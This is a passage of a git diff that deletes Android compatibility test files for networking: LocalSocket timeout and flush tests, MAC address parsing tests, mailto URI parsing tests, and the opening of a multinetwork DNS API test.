-        } catch (UnsupportedOperationException e) {
-            // expected
-        }
-
-        try {
-            socket.isOutputShutdown();
-            fail("testLocalSocketSecondary shouldn't come to here");
-        } catch (UnsupportedOperationException e) {
-            // expected
-        }
-
-        try {
-            socket.connect(addr, 2005);
-            fail("testLocalSocketSecondary shouldn't come to here");
-        } catch (UnsupportedOperationException e) {
-            // expected
-        }
-
-        socket.close();
-    }
-
-    // http://b/31205169
-    public void testSetSoTimeout_readTimeout() throws Exception {
-        String address = ADDRESS_PREFIX + "_testSetSoTimeout_readTimeout";
-
-        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
-            final LocalSocket clientSocket = socketPair.clientSocket;
-
-            // Set the timeout in millis.
-            int timeoutMillis = 1000;
-            clientSocket.setSoTimeout(timeoutMillis);
-
-            // Avoid blocking the test run if timeout doesn't happen by using a separate thread.
-            Callable<Result> reader = () -> {
-                try {
-                    clientSocket.getInputStream().read();
-                    return Result.noException("Did not block");
-                } catch (IOException e) {
-                    return Result.exception(e);
-                }
-            };
-            // Allow the configured timeout, plus some slop.
-            int allowedTime = timeoutMillis + 2000;
-            Result result = runInSeparateThread(allowedTime, reader);
-
-            // Check the message was a timeout, it's all we have to go on.
-            String expectedMessage = Os.strerror(OsConstants.EAGAIN);
-            result.assertThrewIOException(expectedMessage);
-        }
-    }
-
-    // http://b/31205169
-    public void testSetSoTimeout_writeTimeout() throws Exception {
-        String address = ADDRESS_PREFIX + "_testSetSoTimeout_writeTimeout";
-
-        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
-            final LocalSocket clientSocket = socketPair.clientSocket;
-
-            // Set the timeout in millis.
-            int timeoutMillis = 1000;
-            clientSocket.setSoTimeout(timeoutMillis);
-
-            // Set a small buffer size so we know we can flood it.
-            clientSocket.setSendBufferSize(100);
-            final int bufferSize = clientSocket.getSendBufferSize();
-
-            // Avoid blocking the test run if timeout doesn't happen by using a separate thread.
-            Callable<Result> writer = () -> {
-                try {
-                    byte[] toWrite = new byte[bufferSize * 2];
-                    clientSocket.getOutputStream().write(toWrite);
-                    return Result.noException("Did not block");
-                } catch (IOException e) {
-                    return Result.exception(e);
-                }
-            };
-            // Allow the configured timeout, plus some slop.
-            int allowedTime = timeoutMillis + 2000;
-
-            Result result = runInSeparateThread(allowedTime, writer);
-
-            // Check the message was a timeout, it's all we have to go on.
-            String expectedMessage = Os.strerror(OsConstants.EAGAIN);
-            result.assertThrewIOException(expectedMessage);
-        }
-    }
-
-    public void testAvailable() throws Exception {
-        String address = ADDRESS_PREFIX + "_testAvailable";
-
-        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
-            LocalSocket clientSocket = socketPair.clientSocket;
-            LocalSocket serverSocket = socketPair.serverSocket.accept();
-
-            OutputStream clientOutputStream = clientSocket.getOutputStream();
-            InputStream serverInputStream = serverSocket.getInputStream();
-            assertEquals(0, serverInputStream.available());
-
-            byte[] buffer = new byte[50];
-            clientOutputStream.write(buffer);
-            assertEquals(50, serverInputStream.available());
-
-            InputStream clientInputStream = clientSocket.getInputStream();
-            OutputStream serverOutputStream = serverSocket.getOutputStream();
-            assertEquals(0, clientInputStream.available());
-            serverOutputStream.write(buffer);
-            assertEquals(50, serverInputStream.available());
-
-            serverSocket.close();
-        }
-    }
-
-    // http://b/34095140
-    public void testLocalSocketCreatedFromFileDescriptor() throws Exception {
-        String address = ADDRESS_PREFIX + "_testLocalSocketCreatedFromFileDescriptor";
-
-        // Establish connection between a local client and server to get a valid client socket file
-        // descriptor.
-        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
-            // Extract the client FileDescriptor we can use.
-            FileDescriptor fileDescriptor = socketPair.clientSocket.getFileDescriptor();
-            assertTrue(fileDescriptor.valid());
-
-            // Create the LocalSocket we want to test.
-            LocalSocket clientSocketCreatedFromFileDescriptor =
-                    LocalSocket.createConnectedLocalSocket(fileDescriptor);
-            assertTrue(clientSocketCreatedFromFileDescriptor.isConnected());
-            assertTrue(clientSocketCreatedFromFileDescriptor.isBound());
-
-            // Test the LocalSocket can be used for communication.
-            LocalSocket serverSocket = socketPair.serverSocket.accept();
-            OutputStream clientOutputStream =
-                    clientSocketCreatedFromFileDescriptor.getOutputStream();
-            InputStream serverInputStream = serverSocket.getInputStream();
-
-            clientOutputStream.write(12);
-            assertEquals(12, serverInputStream.read());
-
-            // Closing clientSocketCreatedFromFileDescriptor does not close the file descriptor.
-            clientSocketCreatedFromFileDescriptor.close();
-            assertTrue(fileDescriptor.valid());
-
-            // .. while closing the LocalSocket that owned the file descriptor does.
-            socketPair.clientSocket.close();
-            assertFalse(fileDescriptor.valid());
-        }
-    }
-
-    public void testFlush() throws Exception {
-        String address = ADDRESS_PREFIX + "_testFlush";
-
-        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
-            LocalSocket clientSocket = socketPair.clientSocket;
-            LocalSocket serverSocket = socketPair.serverSocket.accept();
-
-            OutputStream clientOutputStream = clientSocket.getOutputStream();
-            InputStream serverInputStream = serverSocket.getInputStream();
-            testFlushWorks(clientOutputStream, serverInputStream);
-
-            OutputStream serverOutputStream = serverSocket.getOutputStream();
-            InputStream clientInputStream = clientSocket.getInputStream();
-            testFlushWorks(serverOutputStream, clientInputStream);
-
-            serverSocket.close();
-        }
-    }
-
-    private void testFlushWorks(OutputStream outputStream, InputStream inputStream)
-            throws Exception {
-        final int bytesToTransfer = 50;
-        StreamReader inputStreamReader = new StreamReader(inputStream, bytesToTransfer);
-
-        byte[] buffer = new byte[bytesToTransfer];
-        outputStream.write(buffer);
-        assertEquals(bytesToTransfer, inputStream.available());
-
-        // Start consuming the data.
-        inputStreamReader.start();
-
-        // This doesn't actually flush any buffers, it just polls until the reader has read all the
-        // bytes.
-        outputStream.flush();
-
-        inputStreamReader.waitForCompletion(5000);
-        inputStreamReader.assertBytesRead(bytesToTransfer);
-        assertEquals(0, inputStream.available());
-    }
-
-    private static class StreamReader extends Thread {
-        private final InputStream is;
-        private final int expectedByteCount;
-        private final CountDownLatch completeLatch = new CountDownLatch(1);
-
-        private volatile Exception exception;
-        private int bytesRead;
-
-        private StreamReader(InputStream is, int expectedByteCount) {
-            this.is = is;
-            this.expectedByteCount = expectedByteCount;
-        }
-
-        @Override
-        public void run() {
-            try {
-                byte[] buffer = new byte[10];
-                int readCount;
-                while ((readCount = is.read(buffer)) >= 0) {
-                    bytesRead += readCount;
-                    if (bytesRead >= expectedByteCount) {
-                        break;
-                    }
-                }
-            } catch (IOException e) {
-                exception = e;
-            } finally {
-                completeLatch.countDown();
-            }
-        }
-
-        public void waitForCompletion(long waitMillis) throws Exception {
-            if (!completeLatch.await(waitMillis, TimeUnit.MILLISECONDS)) {
-                fail("Timeout waiting for completion");
-            }
-            if (exception != null) {
-                throw new Exception("Read failed", exception);
-            }
-        }
-
-        public void assertBytesRead(int expected) {
-            assertEquals(expected, bytesRead);
-        }
-    }
-
-    private static class Result {
-        private final String type;
-        private final Exception e;
-
-        private Result(String type, Exception e) {
-            this.type = type;
-            this.e = e;
-        }
-
-        static Result noException(String description) {
-            return new Result(description, null);
-        }
-
-        static Result exception(Exception e) {
-            return new Result(e.getClass().getName(), e);
-        }
-
-        void assertThrewIOException(String expectedMessage) {
-            assertEquals("Unexpected result type", IOException.class.getName(), type);
-            assertEquals("Unexpected exception message", expectedMessage, e.getMessage());
-        }
-    }
-
-    private static Result runInSeparateThread(int allowedTime, final Callable<Result> callable)
-            throws Exception {
-        ExecutorService service = Executors.newSingleThreadScheduledExecutor();
-        Future<Result> future = service.submit(callable);
-        Result result = future.get(allowedTime, TimeUnit.MILLISECONDS);
-        if (!future.isDone()) {
-            fail("Worker thread appears blocked");
-        }
-        return result;
-    }
-
-    private static class LocalSocketPair implements AutoCloseable {
-        static LocalSocketPair createConnectedSocketPair(String address) throws Exception {
-            LocalServerSocket localServerSocket = new LocalServerSocket(address);
-            final LocalSocket clientSocket = new LocalSocket();
-
-            // Establish connection between client and server
-            LocalSocketAddress locSockAddr = new LocalSocketAddress(address);
-            clientSocket.connect(locSockAddr);
-            assertTrue(clientSocket.isConnected());
-            return new LocalSocketPair(localServerSocket, clientSocket);
-        }
-
-        final LocalServerSocket serverSocket;
-        final LocalSocket clientSocket;
-
-        LocalSocketPair(LocalServerSocket serverSocket, LocalSocket clientSocket) {
-            this.serverSocket = serverSocket;
-            this.clientSocket = clientSocket;
-        }
-
-        public void close() throws Exception {
-            serverSocket.close();
-            clientSocket.close();
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/MacAddressTest.java b/tests/tests/net/src/android/net/cts/MacAddressTest.java
deleted file mode 100644
index 3fd3bba..0000000
--- a/tests/tests/net/src/android/net/cts/MacAddressTest.java
+++ /dev/null
@@ -1,223 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.net.MacAddress.TYPE_BROADCAST;
-import static android.net.MacAddress.TYPE_MULTICAST;
-import static android.net.MacAddress.TYPE_UNICAST;
-
-import static com.android.testutils.ParcelUtils.assertParcelSane;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.net.MacAddress;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.Inet6Address;
-import java.util.Arrays;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class MacAddressTest {
-
-    static class TestCase {
-        final String macAddress;
-        final String ouiString;
-        final int addressType;
-        final boolean isLocallyAssigned;
-
-        TestCase(String macAddress, String ouiString, int addressType, boolean isLocallyAssigned) {
-            this.macAddress = macAddress;
-            this.ouiString = ouiString;
-            this.addressType = addressType;
-            this.isLocallyAssigned = isLocallyAssigned;
-        }
-    }
-
-    static final boolean LOCALLY_ASSIGNED = true;
-    static final boolean GLOBALLY_UNIQUE = false;
-
-    static String typeToString(int addressType) {
-        switch (addressType) {
-            case TYPE_UNICAST:
-                return "TYPE_UNICAST";
-            case TYPE_BROADCAST:
-                return "TYPE_BROADCAST";
-            case TYPE_MULTICAST:
-                return "TYPE_MULTICAST";
-            default:
-                return "UNKNOWN";
-        }
-    }
-
-    static String localAssignedToString(boolean isLocallyAssigned) {
-        return isLocallyAssigned ? "LOCALLY_ASSIGNED" : "GLOBALLY_UNIQUE";
-    }
-
-    @Test
-    public void testMacAddress() {
-        TestCase[] tests = {
-            new TestCase("ff:ff:ff:ff:ff:ff", "ff:ff:ff", TYPE_BROADCAST, LOCALLY_ASSIGNED),
-            new TestCase("d2:c4:22:4d:32:a8", "d2:c4:22", TYPE_UNICAST, LOCALLY_ASSIGNED),
-            new TestCase("33:33:aa:bb:cc:dd", "33:33:aa", TYPE_MULTICAST, LOCALLY_ASSIGNED),
-            new TestCase("06:00:00:00:00:00", "06:00:00", TYPE_UNICAST, LOCALLY_ASSIGNED),
-            new TestCase("07:00:d3:56:8a:c4", "07:00:d3", TYPE_MULTICAST, LOCALLY_ASSIGNED),
-            new TestCase("00:01:44:55:66:77", "00:01:44", TYPE_UNICAST, GLOBALLY_UNIQUE),
-            new TestCase("08:00:22:33:44:55", "08:00:22", TYPE_UNICAST, GLOBALLY_UNIQUE),
-        };
-
-        for (TestCase tc : tests) {
-            MacAddress mac = MacAddress.fromString(tc.macAddress);
-
-            if (!tc.ouiString.equals(mac.toOuiString())) {
-                fail(String.format("expected OUI string %s, got %s",
-                        tc.ouiString, mac.toOuiString()));
-            }
-
-            if (tc.isLocallyAssigned != mac.isLocallyAssigned()) {
-                fail(String.format("expected %s to be %s, got %s", mac,
-                        localAssignedToString(tc.isLocallyAssigned),
-                        localAssignedToString(mac.isLocallyAssigned())));
-            }
-
-            if (tc.addressType != mac.getAddressType()) {
-                fail(String.format("expected %s address type to be %s, got %s", mac,
-                        typeToString(tc.addressType), typeToString(mac.getAddressType())));
-            }
-
-            if (!tc.macAddress.equals(mac.toString())) {
-                fail(String.format("expected toString() to return %s, got %s",
-                        tc.macAddress, mac.toString()));
-            }
-
-            if (!mac.equals(MacAddress.fromBytes(mac.toByteArray()))) {
-                byte[] bytes = mac.toByteArray();
-                fail(String.format("expected mac address from bytes %s to be %s, got %s",
-                        Arrays.toString(bytes),
-                        MacAddress.fromBytes(bytes),
-                        mac));
-            }
-        }
-    }
-
-    @Test
-    public void testConstructorInputValidation() {
-        String[] invalidStringAddresses = {
-            "",
-            "abcd",
-            "1:2:3:4:5",
-            "1:2:3:4:5:6:7",
-            "10000:2:3:4:5:6",
-        };
-
-        for (String s : invalidStringAddresses) {
-            try {
-                MacAddress mac = MacAddress.fromString(s);
-                fail("MacAddress.fromString(" + s + ") should have failed, but returned " + mac);
-            } catch (IllegalArgumentException excepted) {
-            }
-        }
-
-        try {
-            MacAddress mac = MacAddress.fromString(null);
-            fail("MacAddress.fromString(null) should have failed, but returned " + mac);
-        } catch (NullPointerException excepted) {
-        }
-
-        byte[][] invalidBytesAddresses = {
-            {},
-            {1,2,3,4,5},
-            {1,2,3,4,5,6,7},
-        };
-
-        for (byte[] b : invalidBytesAddresses) {
-            try {
-                MacAddress mac = MacAddress.fromBytes(b);
-                fail("MacAddress.fromBytes(" + Arrays.toString(b)
-                        + ") should have failed, but returned " + mac);
-            } catch (IllegalArgumentException excepted) {
-            }
-        }
-
-        try {
-            MacAddress mac = MacAddress.fromBytes(null);
-            fail("MacAddress.fromBytes(null) should have failed, but returned " + mac);
-        } catch (NullPointerException excepted) {
-        }
-    }
-
-    @Test
-    public void testMatches() {
-        // match 4 bytes prefix
-        assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
-                MacAddress.fromString("aa:bb:cc:dd:00:00"),
-                MacAddress.fromString("ff:ff:ff:ff:00:00")));
-
-        // match bytes 0,1,2 and 5
-        assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
-                MacAddress.fromString("aa:bb:cc:00:00:11"),
-                MacAddress.fromString("ff:ff:ff:00:00:ff")));
-
-        // match 34 bit prefix
-        assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
-                MacAddress.fromString("aa:bb:cc:dd:c0:00"),
-                MacAddress.fromString("ff:ff:ff:ff:c0:00")));
-
-        // fail to match 36 bit prefix
-        assertFalse(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
-                MacAddress.fromString("aa:bb:cc:dd:40:00"),
-                MacAddress.fromString("ff:ff:ff:ff:f0:00")));
-
-        // match all 6 bytes
-        assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
-                MacAddress.fromString("aa:bb:cc:dd:ee:11"),
-                MacAddress.fromString("ff:ff:ff:ff:ff:ff")));
-
-        // match none of 6 bytes
-        assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
-                MacAddress.fromString("00:00:00:00:00:00"),
-                MacAddress.fromString("00:00:00:00:00:00")));
-    }
-
-    /**
-     * Tests that link-local address generation from MAC is valid.
-     */
-    @Test
-    public void testLinkLocalFromMacGeneration() {
-        final MacAddress mac = MacAddress.fromString("52:74:f2:b1:a8:7f");
-        final byte[] inet6ll = {(byte) 0xfe, (byte) 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50,
-                0x74, (byte) 0xf2, (byte) 0xff, (byte) 0xfe, (byte) 0xb1, (byte) 0xa8, 0x7f};
-        final Inet6Address llv6 = mac.getLinkLocalIpv6FromEui48Mac();
-        assertTrue(llv6.isLinkLocalAddress());
-        assertArrayEquals(inet6ll, llv6.getAddress());
-    }
-
-    @Test
-    public void testParcelMacAddress() {
-        final MacAddress mac = MacAddress.fromString("52:74:f2:b1:a8:7f");
-
-        assertParcelSane(mac, 1);
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/MailToTest.java b/tests/tests/net/src/android/net/cts/MailToTest.java
deleted file mode 100644
index e454d20..0000000
--- a/tests/tests/net/src/android/net/cts/MailToTest.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.net.MailTo;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-public class MailToTest extends AndroidTestCase {
-    private static final String MAILTOURI_1 = "mailto:chris@example.com";
-    private static final String MAILTOURI_2 = "mailto:infobot@example.com?subject=current-issue";
-    private static final String MAILTOURI_3 =
-            "mailto:infobot@example.com?body=send%20current-issue";
-    private static final String MAILTOURI_4 = "mailto:infobot@example.com?body=send%20current-" +
-                                              "issue%0D%0Asend%20index";
-    private static final String MAILTOURI_5 = "mailto:joe@example.com?" +
-                                              "cc=bob@example.com&body=hello";
-    private static final String MAILTOURI_6 = "mailto:?to=joe@example.com&" +
-                                              "cc=bob@example.com&body=hello";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    public void testParseMailToURI() {
-        assertFalse(MailTo.isMailTo(null));
-        assertFalse(MailTo.isMailTo(""));
-        assertFalse(MailTo.isMailTo("http://www.google.com"));
-
-        assertTrue(MailTo.isMailTo(MAILTOURI_1));
-        MailTo mailTo_1 = MailTo.parse(MAILTOURI_1);
-        Log.d("Trace", mailTo_1.toString());
-        assertEquals("chris@example.com", mailTo_1.getTo());
-        assertEquals(1, mailTo_1.getHeaders().size());
-        assertNull(mailTo_1.getBody());
-        assertNull(mailTo_1.getCc());
-        assertNull(mailTo_1.getSubject());
-        assertEquals("mailto:?to=chris%40example.com&", mailTo_1.toString());
-
-        assertTrue(MailTo.isMailTo(MAILTOURI_2));
-        MailTo mailTo_2 = MailTo.parse(MAILTOURI_2);
-        Log.d("Trace", mailTo_2.toString());
-        assertEquals(2, mailTo_2.getHeaders().size());
-        assertEquals("infobot@example.com", mailTo_2.getTo());
-        assertEquals("current-issue", mailTo_2.getSubject());
-        assertNull(mailTo_2.getBody());
-        assertNull(mailTo_2.getCc());
-        String stringUrl = mailTo_2.toString();
-        assertTrue(stringUrl.startsWith("mailto:?"));
-        assertTrue(stringUrl.contains("to=infobot%40example.com&"));
-        assertTrue(stringUrl.contains("subject=current-issue&"));
-
-        assertTrue(MailTo.isMailTo(MAILTOURI_3));
-        MailTo mailTo_3 = MailTo.parse(MAILTOURI_3);
-        Log.d("Trace", mailTo_3.toString());
-        assertEquals(2, mailTo_3.getHeaders().size());
-        assertEquals("infobot@example.com", mailTo_3.getTo());
-        assertEquals("send current-issue", mailTo_3.getBody());
-        assertNull(mailTo_3.getCc());
-        assertNull(mailTo_3.getSubject());
-        stringUrl = mailTo_3.toString();
-        assertTrue(stringUrl.startsWith("mailto:?"));
-        assertTrue(stringUrl.contains("to=infobot%40example.com&"));
-        assertTrue(stringUrl.contains("body=send%20current-issue&"));
-
-        assertTrue(MailTo.isMailTo(MAILTOURI_4));
-        MailTo mailTo_4 = MailTo.parse(MAILTOURI_4);
-        Log.d("Trace", mailTo_4.toString() + " " + mailTo_4.getBody());
-        assertEquals(2, mailTo_4.getHeaders().size());
-        assertEquals("infobot@example.com", mailTo_4.getTo());
-        assertEquals("send current-issue\r\nsend index", mailTo_4.getBody());
-        assertNull(mailTo_4.getCc());
-        assertNull(mailTo_4.getSubject());
-        stringUrl = mailTo_4.toString();
-        assertTrue(stringUrl.startsWith("mailto:?"));
-        assertTrue(stringUrl.contains("to=infobot%40example.com&"));
-        assertTrue(stringUrl.contains("body=send%20current-issue%0D%0Asend%20index&"));
-
-
-        assertTrue(MailTo.isMailTo(MAILTOURI_5));
-        MailTo mailTo_5 = MailTo.parse(MAILTOURI_5);
-        Log.d("Trace", mailTo_5.toString() + mailTo_5.getHeaders().toString()
-                + mailTo_5.getHeaders().size());
-        assertEquals(3, mailTo_5.getHeaders().size());
-        assertEquals("joe@example.com", mailTo_5.getTo());
-        assertEquals("bob@example.com", mailTo_5.getCc());
-        assertEquals("hello", mailTo_5.getBody());
-        assertNull(mailTo_5.getSubject());
-        stringUrl = mailTo_5.toString();
-        assertTrue(stringUrl.startsWith("mailto:?"));
-        assertTrue(stringUrl.contains("cc=bob%40example.com&"));
-        assertTrue(stringUrl.contains("body=hello&"));
-        assertTrue(stringUrl.contains("to=joe%40example.com&"));
-
-        assertTrue(MailTo.isMailTo(MAILTOURI_6));
-        MailTo mailTo_6 = MailTo.parse(MAILTOURI_6);
-        Log.d("Trace", mailTo_6.toString() + mailTo_6.getHeaders().toString()
-                + mailTo_6.getHeaders().size());
-        assertEquals(3, mailTo_6.getHeaders().size());
-        assertEquals(", joe@example.com", mailTo_6.getTo());
-        assertEquals("bob@example.com", mailTo_6.getCc());
-        assertEquals("hello", mailTo_6.getBody());
-        assertNull(mailTo_6.getSubject());
-        stringUrl = mailTo_6.toString();
-        assertTrue(stringUrl.startsWith("mailto:?"));
-        assertTrue(stringUrl.contains("cc=bob%40example.com&"));
-        assertTrue(stringUrl.contains("body=hello&"));
-        assertTrue(stringUrl.contains("to=%2C%20joe%40example.com&"));
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
deleted file mode 100644
index 6d3db89..0000000
--- a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
+++ /dev/null
@@ -1,240 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
-
-import android.content.Context;
-import android.content.ContentResolver;
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkUtils;
-import android.net.cts.util.CtsNetUtils;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.system.ErrnoException;
-import android.system.OsConstants;
-import android.test.AndroidTestCase;
-
-import java.util.ArrayList;
-
-public class MultinetworkApiTest extends AndroidTestCase {
-
-    static {
-        System.loadLibrary("nativemultinetwork_jni");
-    }
-
-    private static final String TAG = "MultinetworkNativeApiTest";
-    static final String GOOGLE_PRIVATE_DNS_SERVER = "dns.google";
-
-    /**
-     * @return 0 on success
-     */
-    private static native int runGetaddrinfoCheck(long networkHandle);
-    private static native int runSetprocnetwork(long networkHandle);
-    private static native int runSetsocknetwork(long networkHandle);
-    private static native int runDatagramCheck(long networkHandle);
-    private static native void runResNapiMalformedCheck(long networkHandle);
-    private static native void runResNcancelCheck(long networkHandle);
-    private static native void runResNqueryCheck(long networkHandle);
-    private static native void runResNsendCheck(long networkHandle);
-    private static native void runResNnxDomainCheck(long networkHandle);
-
-
-    private ContentResolver mCR;
-    private ConnectivityManager mCM;
-    private CtsNetUtils mCtsNetUtils;
-    private String mOldMode;
-    private String mOldDnsSpecifier;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-        mCR = getContext().getContentResolver();
-        mCtsNetUtils = new CtsNetUtils(getContext());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
-    private Network[] getTestableNetworks() {
-        final ArrayList<Network> testableNetworks = new ArrayList<Network>();
-        for (Network network : mCM.getAllNetworks()) {
-            final NetworkCapabilities nc = mCM.getNetworkCapabilities(network);
-            if (nc != null
-                    && nc.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED)
-                    && nc.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)) {
-                testableNetworks.add(network);
-            }
-        }
-
-        assertTrue(
-                "This test requires that at least one network be connected. " +
-                "Please ensure that the device is connected to a network.",
-                testableNetworks.size() >= 1);
-        return testableNetworks.toArray(new Network[0]);
-    }
-
-    public void testGetaddrinfo() throws ErrnoException {
-        for (Network network : getTestableNetworks()) {
-            int errno = runGetaddrinfoCheck(network.getNetworkHandle());
-            if (errno != 0) {
-                throw new ErrnoException(
-                        "getaddrinfo on " + mCM.getNetworkInfo(network), -errno);
-            }
-        }
-    }
-
-    public void testSetprocnetwork() throws ErrnoException {
-        // Hopefully no prior test in this process space has set a default network.
-        assertNull(mCM.getProcessDefaultNetwork());
-        assertEquals(0, NetworkUtils.getBoundNetworkForProcess());
-
-        for (Network network : getTestableNetworks()) {
-            mCM.setProcessDefaultNetwork(null);
-            assertNull(mCM.getProcessDefaultNetwork());
-
-            int errno = runSetprocnetwork(network.getNetworkHandle());
-            if (errno != 0) {
-                throw new ErrnoException(
-                        "setprocnetwork on " + mCM.getNetworkInfo(network), -errno);
-            }
-            Network processDefault = mCM.getProcessDefaultNetwork();
-            assertNotNull(processDefault);
-            assertEquals(network, processDefault);
-            // TODO: open DatagramSockets, connect them to 192.0.2.1 and 2001:db8::,
-            // and ensure that the source address is in fact on this network as
-            // determined by mCM.getLinkProperties(network).
-
-            mCM.setProcessDefaultNetwork(null);
-        }
-
-        for (Network network : getTestableNetworks()) {
-            NetworkUtils.bindProcessToNetwork(0);
-            assertNull(mCM.getBoundNetworkForProcess());
-
-            int errno = runSetprocnetwork(network.getNetworkHandle());
-            if (errno != 0) {
-                throw new ErrnoException(
-                        "setprocnetwork on " + mCM.getNetworkInfo(network), -errno);
-            }
-            assertEquals(network, new Network(mCM.getBoundNetworkForProcess()));
-            // TODO: open DatagramSockets, connect them to 192.0.2.1 and 2001:db8::,
-            // and ensure that the source address is in fact on this network as
-            // determined by mCM.getLinkProperties(network).
-
-            NetworkUtils.bindProcessToNetwork(0);
-        }
-    }
-
-    public void testSetsocknetwork() throws ErrnoException {
-        for (Network network : getTestableNetworks()) {
-            int errno = runSetsocknetwork(network.getNetworkHandle());
-            if (errno != 0) {
-                throw new ErrnoException(
-                        "setsocknetwork on " + mCM.getNetworkInfo(network), -errno);
-            }
-        }
-    }
-
-    public void testNativeDatagramTransmission() throws ErrnoException {
-        for (Network network : getTestableNetworks()) {
-            int errno = runDatagramCheck(network.getNetworkHandle());
-            if (errno != 0) {
-                throw new ErrnoException(
-                        "DatagramCheck on " + mCM.getNetworkInfo(network), -errno);
-            }
-        }
-    }
-
-    public void testNoSuchNetwork() {
-        final Network eNoNet = new Network(54321);
-        assertNull(mCM.getNetworkInfo(eNoNet));
-
-        final long eNoNetHandle = eNoNet.getNetworkHandle();
-        assertEquals(-OsConstants.ENONET, runSetsocknetwork(eNoNetHandle));
-        assertEquals(-OsConstants.ENONET, runSetprocnetwork(eNoNetHandle));
-        // TODO: correct test permissions so this call is not silently re-mapped
-        // to query on the default network.
-        // assertEquals(-OsConstants.ENONET, runGetaddrinfoCheck(eNoNetHandle));
-    }
-
-    public void testNetworkHandle() {
-        // Test Network -> NetworkHandle -> Network results in the same Network.
-        for (Network network : getTestableNetworks()) {
-            long networkHandle = network.getNetworkHandle();
-            Network newNetwork = Network.fromNetworkHandle(networkHandle);
-            assertEquals(newNetwork, network);
-        }
-
-        // Test that only obfuscated handles are allowed.
-        try {
-            Network.fromNetworkHandle(100);
-            fail();
-        } catch (IllegalArgumentException e) {}
-        try {
-            Network.fromNetworkHandle(-1);
-            fail();
-        } catch (IllegalArgumentException e) {}
-        try {
-            Network.fromNetworkHandle(0);
-            fail();
-        } catch (IllegalArgumentException e) {}
-    }
-
-    public void testResNApi() throws Exception {
-        final Network[] testNetworks = getTestableNetworks();
-
-        for (Network network : testNetworks) {
-            // Throws AssertionError directly in jni function if test fail.
-            runResNqueryCheck(network.getNetworkHandle());
-            runResNsendCheck(network.getNetworkHandle());
-            runResNcancelCheck(network.getNetworkHandle());
-            runResNapiMalformedCheck(network.getNetworkHandle());
-
-            final NetworkCapabilities nc = mCM.getNetworkCapabilities(network);
-            // Some cellular networks configure their DNS servers never to return NXDOMAIN, so don't
-            // test NXDOMAIN on these DNS servers.
-            // b/144521720
-            if (nc != null && !nc.hasTransport(TRANSPORT_CELLULAR)) {
-                runResNnxDomainCheck(network.getNetworkHandle());
-            }
-        }
-    }
-
-    @AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
-    public void testResNApiNXDomainPrivateDns() throws InterruptedException {
-        mCtsNetUtils.storePrivateDnsSetting();
-        // Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
-        // b/144521720
-        try {
-            mCtsNetUtils.setPrivateDnsStrictMode(GOOGLE_PRIVATE_DNS_SERVER);
-            for (Network network : getTestableNetworks()) {
-              // Wait for private DNS setting to propagate.
